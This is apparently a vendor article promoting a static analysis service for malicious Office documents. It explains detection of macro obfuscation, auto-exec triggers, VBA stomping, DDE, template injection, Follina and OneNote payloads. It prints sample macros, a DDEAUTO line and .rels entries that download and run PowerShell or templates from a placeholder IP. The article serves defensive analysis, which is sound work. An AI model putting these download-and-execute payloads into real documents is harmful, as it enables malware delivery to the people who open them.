Microsoft's macro-block policy made Office documents harder to exploit in the open inbox, and it changed the delivery landscape. It did not eliminate it. Documents still execute through SharePoint and Teams workspaces, through internal file shares where the trust boundary is the perimeter rather than the user, through USB drops in operational-technology environments, and through legacy estates where macro-enabled formats are still part of the daily workflow. The obfuscation patterns inside those documents have changed very little because the file format still permits them, and a SOC analyst opening a flagged .doc on a Tuesday afternoon needs to know what is going to run.
Static analysis of Office documents is solvable, and that is the structural advantage. The macro logic, the auto-exec triggers, the obfuscated string assembly, the eventual PowerShell command or HTTP fetch, all of it has to be present in the document, because at execution time the host has not made a network call yet. The C2 URL has to be there. The decryption key, if there is one, has to be there. KlaroSkope's Office pipeline is built around that constraint. Upload a document, get the macro extracted, the string functions resolved, the variable assembly folded, the cross-references substituted, and the embedded loader script handed off to the script deobfuscator. The chain runs end to end.
Analyse Office document malware automatically. Upload your .doc, .docx, .xls, .xlsx, .rtf, or .one sample at klaroskope.com/submit and KlaroSkope extracts macros, resolves VBA string functions, folds variable accumulation, detects auto-exec triggers and P-code stomping, surfaces DDE commands and template-injection relationships, and feeds embedded loader scripts into the script deobfuscation chain.
What KlaroSkope Examines in an Office Document
Office malware does not live in one file format. It lives in four container families that share a heritage but parse very differently, and the first job of the analyser is to route the upload correctly. Magic-byte detection runs first and selects the parsing path.
.doc .xls .pptD0 CF 11 E0 A1 B1 1A E1.docx .xlsx .pptx .docm .xlsm .pptmPK 03 04 + [Content_Types].xml.rtf{\\rtf.one .onepkgE4 52 5C 7B 8C D8 A7 4D| Format | Magic bytes | Sub-types | What gets extracted |
|---|---|---|---|
OLE2 .doc .xls .ppt | D0 CF 11 E0 A1 B1 1A E1 | Word, Excel, PowerPoint (via storage-stream inspection) | VBA project, P-code, DDE, OLE streams, embedded images, metadata |
OOXML .docx .xlsx .pptx .docm .xlsm .pptm | PK 03 04 + [Content_Types].xml | Word, Excel, PowerPoint (via MIME-type inspection) | VBA, P-code, external relationships, custom XML parts, embedded images, metadata |
RTF .rtf | {\\rtf | Control-word fields, no storage streams | Embedded OLE objects, Equation Editor blobs, DDE commands |
OneNote .one .onepkg | E4 52 5C 7B 8C D8 A7 4D | Notebook sections with embedded attachments | FileDataStoreObject embedded files (executables, scripts, archives, PDFs) |
Once the format is identified, KlaroSkope extracts the parts that matter for malware analysis. From OLE2 and OOXML it pulls the VBA project, the P-code disassembly, DDE field codes, embedded images, document metadata, external relationship targets, and any custom XML parts. From RTF it pulls embedded OLE objects, Equation Editor blobs, and DDE commands. From OneNote it recovers every embedded file attachment and classifies each as executable, script, archive, PDF, or unknown by its own magic bytes. The extracted content is then handed to the deobfuscation chain that runs across the rest of the platform.
Auto-Exec Triggers Are the First Question
Before reading a single line of VBA, an analyst wants to know whether anything runs automatically and what it is. A long sophisticated macro that never executes without a user clicking a button is a very different threat from a single line in Document_Open that calls Shell. KlaroSkope flags the auto-exec entry points before the macro body is opened.
The triggers fall into three groups. The legacy Auto family inherited from Word 6 (AutoOpen, AutoClose, AutoExec, AutoExit, AutoNew). The Word object-model handlers (Document_Open, Document_Close, Document_New, Document_BeforeClose, Document_BeforeSave). The Excel object-model handlers (Workbook_Open, Workbook_Close, Workbook_Activate, Workbook_BeforeClose, Workbook_BeforeSave). Matching is case-insensitive and tolerant of the underscore-versus-no-underscore variants attackers occasionally use to bypass simple string searches. Any Sub or Function name that matches marks the macro module as auto-executing and contributes to the document's risk score.
Auto-exec is a strong signal but not a sufficient one. A macro module with no auto-exec trigger can still be malicious if the document uses social engineering ("click here to enable content") or pairs with a DDE field that runs the macro indirectly. The auto-exec flag tells you the macro will fire on open; the absence of one tells you to keep reading.
VBA Function Resolution
Most VBA obfuscation does not invent new techniques, it stitches together a handful of built-in string functions. Chr() to build characters from integers. StrReverse() to hide URLs and command names backwards. Replace() to defang URLs by substituting placeholder characters with their targets at runtime. Mid(), Left(), Right() to chop and reassemble strings from constants. Concatenation to glue the pieces together. Each function on its own is harmless. Stacked across thirty lines of code, they reduce a clear URL to an unreadable arithmetic expression. The job of static resolution is to fold every function call back to its literal output without executing the macro.
KlaroSkope's VBA resolver handles the eleven functions that account for the dominant share of in-the-wild macro obfuscation.
StrReverseChr / ChrWReplace"hXXp://evil.test".Replace("hXX","htt")MidLeft / RightLenLCase / UCaseTrimMid / Left / Right slicing| Function | What it does | Common abuse pattern |
|---|---|---|
StrReverse | Reverses a string literal | Hide URLs and command names backwards |
Chr / ChrW | Returns one character from an integer (0-255 / 0-65535) | Build strings character-by-character to break signature matching |
Replace | Substitutes one substring for another | Defang URLs at rest: "hXXp://evil.test".Replace("hXX","htt") |
Mid | Substring by 1-based start position and length | Slice payload fragments from concatenated constants |
Left / Right | First / last N characters of a string | Reassemble URLs from a constant pool |
Len | Integer length of a string | Arithmetic input for nested function calls |
LCase / UCase | Lowercase / uppercase form | Bypass case-sensitive YARA strings |
Trim | Removes leading and trailing whitespace | Cleanup after Mid / Left / Right slicing |
The dollar-suffixed variants (Mid$, Left$, Right$, StrReverse$, LCase$, UCase$, Trim$) are treated identically. The resolver iterates the macro source through repeated evaluation passes, folding any expressions that are now fully evaluable at each step, and exits when the source stabilises. Deeply nested obfuscation is handled by this iteration rather than by a hard recursion depth, so chains that would defeat a single-pass simplifier resolve cleanly.
' Before resolution: obfuscated payload assembly
Sub Document_Open()
Dim p As String, u As String, c As String
p = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
u = StrReverse("1sp.redaol/24.001.15.891//:ptth")
c = " -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('" & u & "'))"
Shell p & c
End Sub
' After resolution
Sub Document_Open()
Dim p As String, u As String, c As String
p = "powershell"
u = "http://198.51.100.42/loader.ps1"
c = " -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/loader.ps1'))"
Shell "powershell -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/loader.ps1'))"
End SubVariable Accumulation and Cross-Variable Substitution
A more capable obfuscation pattern, common in Emotet-era macros and still appearing in current commodity samples, breaks the malicious string across many separate variable assignments and accumulates them with the ampersand operator over twenty or thirty lines.
iex = "IEX("
iex = iex & "(New-Object "
iex = iex & "Net.WebClient)"
iex = iex & ".Downloa"
iex = iex & "dString("
iex = iex & "'http://198"
iex = iex & ".51.100.42"
iex = iex & "/stage2.ps1'"
iex = iex & "))"
Shell "powershell -Command " & iexReading this by hand is the analyst's tax, and the manual reconstruction is exactly where errors creep in. KlaroSkope's resolver detects the accumulation pattern and folds the chain into a single equivalent assignment before the next stage of resolution sees the macro, producing iex = "IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/stage2.ps1'))". The fold is conservative: if any line in the chain references a value the resolver has not yet been able to evaluate, the original chain is preserved for manual review rather than partially substituted into something misleading.
Cross-variable substitution runs after folding. When one variable is built from concatenations of other variables, for example cmd = p & args & u where p, args, and u all resolve to literals, the resolver substitutes the dependent expression with the joined literal. The substitution is conservative across the chain in the same way as the fold; partial resolution would corrupt the macro's apparent intent and is worse than no resolution. The pattern of breaking a payload across nominally-independent variables is one of the cheapest obfuscations to write and one of the more time-consuming to read by hand, which is why automating the fold matters more than the technical novelty of the technique.
P-Code Disassembly and VBA Stomping
A VBA project on disk has two parts that are supposed to agree: the VBA source code as the analyst would read it, and the P-code, which is the compiled bytecode the Office application actually runs. Compilation happens automatically when a macro is edited, and under normal conditions the two are kept consistent. They do not have to be.
VBA stomping is the technique of editing the P-code directly, or substituting the VBA source after compilation, so that the source text stored alongside the document is benign and the P-code that executes is malicious. Office runs the P-code, not the source. Analysis tools that read the macro by parsing the VBA source see something different from what runs on the target machine.
The discrepancy between P-code and VBA source was first surfaced by Dr Vesselin Bontchev, the author of the pcodedmp disassembler KlaroSkope uses for P-code extraction. The technique was then documented as a maldoc offensive pattern at DerbyCon 2018 by Kirk Sayre, Harold Ogden, and Carrie Roberts of Walmart Global Tech, and operationalised the following year by Stan Hegt's EvilClippy tool from Outflank, which remains the reference implementation. For several years stomping appeared mostly in red-team operations because the tooling was inconvenient. That has changed. Builder utilities now make stomping easy enough that it appears in commodity samples on a routine basis, and a document that opens cleanly under olevba's source-only view yet triggers post-execution alerts on the host is exactly the failure mode stomping creates.
KlaroSkope extracts the P-code disassembly through pcodedmp and compares the structural fingerprint of the disassembly against what the VBA source claims to declare. When the two diverge in ways consistent with stomping, the document is flagged and the divergent details are recorded for the analyst. The detection is heuristic rather than a cryptographic equivalence proof: a sophisticated stomp that takes care to match the structural surface area of its decoy can evade it, which is why the analyst surface flags the technique for human attention rather than asserting a definitive verdict. In practice the heuristic catches the common commodity stomping pattern, where the malicious routines do not look like the decoy on the surface, and it is fast enough to run on every Office submission.
When stomping is flagged, the P-code disassembly is the authoritative answer to "what runs." The VBA source is the answer to "what an unaware reviewer sees." Treat them in that order, and pay attention to the names of the routines that appear only in the disassembly.
Stop reading macros by hand. Paste your suspicious .docm, .xlsm, or .doc at klaroskope.com/submit - VBA function resolution, variable folding, auto-exec trigger detection, P-code stomping checks, and the embedded loader hand-off all run in one pass.
DDE Field Codes
Dynamic Data Exchange field codes are a pre-macro execution channel built into Word and Excel for inter-application data sharing. They were never disabled when macros were locked down in default settings, and DDEAUTO field codes auto-execute when a document opens unless the user dismisses the update-links prompt. The 2017-2018 wave of DDE-only Office malware (Hancitor, Necurs droppers, DNSMessenger) used this gap heavily, and DDE still appears in current samples because some organisations have not patched out the auto-update prompt or have business processes that depend on DDE for legitimate reasons.
DDEAUTO c:\\windows\\system32\\cmd.exe "/c powershell -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://198.51.100.42/stage2.ps1'))"KlaroSkope extracts DDE commands through the standard Office parsing path and pulls additional candidates from non-standard locations when a document hides the field outside its usual home. Both DDE and DDEAUTO field codes are recovered. The extracted command string is passed to the deobfuscation chain, which handles the batch caret escapes (c^m^d, c^e^r^t^u^t^i^l) and PowerShell backticks that frequently wrap the cmd.exe invocation. CVE-2017-0199 (template injection via OLE2Link, sometimes paired with DDE) sits in the same class of weakness; it is detected as a separate signal on the relationship side.
Template Injection and Follina
OOXML documents declare their internal relationships in .rels XML files. Most relationships are internal (the document references its own styles, its own header, its own embedded image), but a relationship can also be external, pointing to a URL where Office fetches the target at open time. External relationships are how template injection works. A blank-looking Word document declares an attachedTemplate relationship pointing to a remote .dotm file. Open the document. Office fetches the remote template. The template contains the macro. The macro runs. The .docx itself contains no malicious code, which is why mail-gateway content scanners that focus on macros routinely miss template-injection samples.
The Follina vulnerability (CVE-2022-30190) is a related class of attack. Instead of an attachedTemplate, the relationship target is a ms-msdt:// URI that triggers the Microsoft Support Diagnostic Tool with attacker-controlled parameters. The malicious payload is in the URL, not in the document body. Follina remained exploitable in the wild for several months in 2022 and is still occasionally seen in unpatched legacy estates.
<!-- word/_rels/settings.xml.rels in a template-injection sample -->
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="http://198.51.100.42/loader.dotm"
TargetMode="External"/>
</Relationships>
<!-- A Follina-style relationship, same file shape, different scheme -->
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
Target="ms-msdt:/id PCWDiagnostic /skip force /param IT_RebrowseForFile=..."
TargetMode="External"/>KlaroSkope walks the relationship graph of an OOXML container, surfaces external targets, and classifies them by the family of technique each represents. ms-msdt:// targets are surfaced as Follina (CVE-2022-30190). External relationships pointing at templates, embedded OLE objects, or frames are surfaced as template injection. Any other external HTTP or HTTPS target is preserved as a generic remote-relationship indicator. Each flag carries the destination URL (truncated for safety) so the analyst sees both the technique and the target in one place.
RTF Embedded Objects and Equation Editor Abuse
RTF documents can embed arbitrary OLE objects through the \\object control word, and the embedded objects are stored as Ole10Native package streams that can carry executables, scripts, or specialised payloads. The most consequential RTF technique of the past decade was the abuse of the Microsoft Equation Editor (EQNEDT32.EXE) through CVE-2017-11882 and CVE-2018-0802, where a malformed equation object overflows a stack buffer and the attacker controls execution. The Equation Editor was unsigned, ran with the user's privileges, and was installed on default Office configurations for over fifteen years before Microsoft pulled it. Samples exploiting it still appear in geographic regions where Office 2007 and Office 2010 estates are slow to retire.
KlaroSkope walks RTF objects through oletools.rtfobj, pulls both the raw object data and the Ole10Native package stream, and inspects each. Objects bearing the class identifiers used by the Equation Editor are flagged with the CVE pair regardless of whether the equation payload is parseable; the document is marked for incident-response attention without requiring successful parsing of the malformed equation. Objects whose data starts with the MZ magic bytes are flagged as embedded executables. Embedded files are then handed back to the engine for routing: scripts to the script deobfuscator, binaries to the PE handler.
OneNote Embedded Payloads
When macro-block policy took effect in 2022, several malware families pivoted to OneNote as the delivery container. A .one file lets the operator embed a clickable attachment that opens the payload through the OneNote attachment dialog, and OneNote at the time had no equivalent macro-block. Qbot, IcedID, and AsyncRAT all ran OneNote-based campaigns through 2023, and OneNote remains in the rotation as a steady-state delivery vector rather than a passing fashion.
The OneNote file format is poorly documented but the embedded-file structure is reliable. KlaroSkope scans .one and .onepkg binaries for the FileDataStoreObject marker Microsoft uses to locate embedded attachments, recovers each payload, and classifies it by its own magic bytes. The classifier distinguishes executables, ZIP archives, PDFs, and text-content scripts containing PowerShell, batch, or WScript signals. Synthetic naming on extraction makes the result easy to scan at a glance. Each extracted script is then passed through the engine again as a fresh script input, which is how an obfuscated batch file embedded in a OneNote sample ends up with its caret escapes resolved and its IOCs surfaced from a single user-side upload.
Custom XML Payload Channels
OOXML documents allow arbitrary application-specific XML parts under customXml/. Legitimate uses are rare; abuse is not. A document with an empty macro project but a customXml part containing a Base64-encoded blob alongside a thin PowerShell wrapper macro becomes a vector where every static analysis tool that focuses on the macro misses the actual payload, which is sitting in a part most parsers do not look at.
KlaroSkope reads customXml parts up to per-part size and total-count caps for resource safety, and scans each for Base64 blobs of useful length, PowerShell command markers, VBA-shaped substrings, and explicit script keywords. Matches are extracted, truncated for the analyst view, and fed into the deobfuscation chain. The same channel is used as a fallback when a macro is present but the standard oletools extraction misses it because the VBA payload has been relocated outside its usual stream.
The Macro-to-C2 Chain in One Upload
The unique angle of static analysis on Office malware is that everything is in the document. The Office host has not made a network call yet at the point a defender intercepts the sample. The auto-exec trigger, the obfuscated string assembly, the function calls that hide the URL, the encoded PowerShell stage, the eventual C2, all of it is staged inside the .doc or .docm. Walking the chain is a matter of decoding, not of simulating.
An end-to-end run looks like this. The document is uploaded. The container format is identified. The VBA project is extracted. Auto-exec triggers are flagged. The VBA function resolver runs StrReverse, Chr, Replace, and the other functions until the macro source converges to literal strings. Variable accumulation is folded. Cross-variable substitution merges dependent expressions. The Shell argument resolves to a clean PowerShell command. The PowerShell command, often Base64-encoded or wrapped in IEX and string-concatenation tricks, is handed to the PowerShell deobfuscation chain, which decodes the encoded command, peels the back-tick escapes, resolves the .Replace() chains, and surfaces the final URL. The URL is extracted as an IOC. The relevant MITRE ATT&CK techniques are tagged. YARA and Sigma rules are generated from the decoded content. The same upload also runs through the broader multi-layer decode loop when the macro embeds compressed or doubly-encoded payloads.
The chain runs without executing the macro and without making the Office application's network call. The defender sees what the attacker would have caused the host to fetch, which is the answer to the only question that matters at triage: where is this going to phone home, and what does it want to drop.
MITRE ATT&CK Coverage
Office malware analysis maps cleanly to several ATT&CK techniques. Each tag carries through to the YARA and Sigma rule generation step so that detections built from KlaroSkope's output land in the analyst's threat-hunting pipeline with the right technique IDs already attached.
attachedTemplate relationships in OOXML .rels files| Technique | What Office analysis surfaces for it |
|---|---|
| T1204.002 User Execution: Malicious File | The initial click that opens the document |
| T1059.005 Command and Scripting Interpreter: Visual Basic | The macro execution path itself |
| T1137 Office Application Startup (incl. T1137.001 Office Template Macros) | Auto-exec entry points: AutoOpen, Document_Open, Workbook_Open, and the rest |
| T1221 Template Injection | External attachedTemplate relationships in OOXML .rels files |
| T1559.002 Inter-Process Communication: Dynamic Data Exchange | DDE and DDEAUTO field codes |
| T1564.007 Hide Artifacts: VBA Stomping | Structural divergence between P-code disassembly and VBA source |
| T1027 Obfuscated Files or Information (incl. T1027.009 Embedded Payloads) | VBA function obfuscation, variable accumulation, OLE-package and OneNote-attachment payload patterns |
For background on where the obfuscation techniques in this article fit into the wider taxonomy of script-level transforms, the obfuscation technique taxonomy groups VBA alongside the rest of the language-specific abuse category. The practical MITRE T1027 reference walks the obfuscation umbrella in more detail, and the decoder-chain-as-fingerprint approach shows how the order of decoders that fire on a sample becomes a soft attribution signal across campaigns.
Try it now -> klaroskope.com/submit - upload any suspicious Office document (.doc, .docx, .xls, .xlsx, .xlsm, .rtf, .one) and KlaroSkope decodes the macro chain, surfaces auto-exec triggers, flags P-code stomping and template injection, extracts embedded executables and scripts, and outputs the IOC list with MITRE ATT&CK mapping. Free tier handles the same multi-layer chains active campaigns are using right now.
Frequently Asked Questions
How do you analyse a malicious Office document?
What is VBA stomping?
How do macros hide malware in Office documents?
Can you detect macro malware without opening the document?
What is VBA P-code?
How do attackers obfuscate VBA macros?
What Office file types can contain macros?
What is a DDE attack in Office documents?
How does template injection work in Office documents?
What is the difference between VBA source and P-code?
Continue Learning
Ready to decode?
See KlaroSkope transform obfuscated scripts into actionable intelligence.
Try It Free